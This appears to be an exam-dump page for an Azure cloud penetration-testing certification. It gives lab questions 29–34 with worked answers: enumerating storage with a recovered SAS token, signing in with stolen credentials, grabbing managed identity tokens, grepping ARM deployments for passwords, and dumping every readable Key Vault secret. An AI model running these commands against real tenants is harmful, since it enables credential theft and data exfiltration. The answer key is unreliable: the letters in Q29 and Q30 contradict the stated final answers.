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| Section | Weight | Objectives |
|---|---|---|
| Reconnaissance & Enumeration | 20% | - Azure resource discovery - Azure tenant and domain enumeration - Entra ID (Azure AD) enumeration - DNS, endpoints, and exposed services mapping |
| Privilege Escalation | 25% | - Managed Identity exploitation - Entra ID role and permission abuse - Service Principal and App Registration attacks - Key Vault and secret management misconfigurations |
| Lateral Movement & Tenant Compromise | 20% | - API and Azure management endpoint exploitation - Hybrid identity and on-prem integration abuse - Cross-resource and subscription hopping - Compute, storage, and network pivoting |
| Initial Access | 20% | - Consent phishing and application abuse - Token and session abuse - Password spraying and credential stuffing - Exposed secrets and configuration flaws |
| Post-Exploitation & Persistence | 15% | - Maintaining persistent access - Defense evasion in Azure environment - Full attack chain demonstration - Data collection and exfiltration techniques |
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NEW QUESTION # 29
While exploring the table storage, you've uncovered information that provides limited access to a storage account. Using this access, enumerate the blob containers. Which of the following containers is available?
Answer: D
Explanation:
Detailed Solution:
From Q7, you should recover a limited-access SAS token or storage access information.
Set the storage account name and SAS token:
ACCOUNT= " excaliburstore "
SAS= " < recovered-sas-token > "
List containers:
az storage container list \
--account-name " $ACCOUNT " \
--sas-token " $SAS " \
--output table
The available container is:
sensitive-files
You can also confirm directly:
az storage blob list \
--account-name " $ACCOUNT " \
--container-name sensitive-files \
--sas-token " $SAS " \
--output table
Final answer:
C). sensitive-files
NEW QUESTION # 30
You've uncovered valid credentials for another user in the previous step. Authenticate as this user and investigate their level of access within the Azure environment. Which of the following Microsoft Entra ID roles is assigned to this user?
Answer: A
Explanation:
Detailed Solution:
Log in using the credential recovered in Q4.
az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p ' < recovered-password > ' Confirm the current signed-in user:
az ad signed-in-user show --output json
Now enumerate the user's Microsoft Entra ID role memberships through Microsoft Graph.
az rest --method GET \
--url " https://graph.microsoft.com/v1.0/me/memberOf " \
--output json
To display only role names:
az rest --method GET \
--url " https://graph.microsoft.com/v1.0/me/memberOf " \
--query " value[].displayName " \
--output table
The relevant role is:
User Administrator
This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.
Final answer:
B). User Administrator
NEW QUESTION # 31
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
NEW QUESTION # 32
Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors. Which of the following roles is assigned to the App Registration?
Answer: A
Explanation:
Detailed Solution:
Use the app registration credentials recovered from blob storage.
az login --service-principal \
-u ' < client-id > ' \
-p ' < client-secret > ' \
--tenant f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Confirm that you are authenticated as a service principal:
az account show
Now enumerate role assignments for the app registration.
az role assignment list \
--assignee ' < client-id > ' \
--all \
--output table
If the --assignee lookup fails, first resolve the service principal object ID:
az ad sp show \
--id ' < client-id > ' \
--query id \
--output tsv
Then query role assignments by object ID:
SP_OBJECT_ID=$(az ad sp show --id ' < client-id > ' --query id -o tsv)
az role assignment list \
--assignee " $SP_OBJECT_ID " \
--all \
--output table
The assigned role is:
Key Vault Secrets User
This role allows the principal to read secret values from Azure Key Vault. That is the lateral movement path into the final flag.
Final answer:
A). Key Vault Secrets User
NEW QUESTION # 33
Using the privileges of the previously compromised App Registration, explore the Azure environment to identify and access sensitive information. What is the final flag retrieved from the tenant?
Answer:
Explanation:
See the Answer in Explanation below.
Explanation:
The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.
Detailed Solution:
Stay authenticated as the service principal from Q10.
az account show
List visible Key Vaults:
az keyvault list --output table
If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== $kv ===== "
az keyvault secret list \
--vault-name " $kv " \
--output table
done
Once you identify secret names, retrieve their values:
az keyvault secret show \
--vault-name < vault-name > \
--name < secret-name > \
--query value \
--output tsv
To dump all readable secrets from all visible vaults:
for kv in $(az keyvault list --query " [].name " -o tsv); do
echo " ===== Vault: $kv ===== "
for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do echo " ----- Secret: $sec ----- " az keyvault secret show \
--vault-name " $kv " \
--name " $sec " \
--query value \
--output tsv
done
done
Look for the final value in this format:
Flag{...}
That returned secret value is the final tenant flag.
Final answer:
Use the Flag{...} value returned by az keyvault secret show.
NEW QUESTION # 34
......
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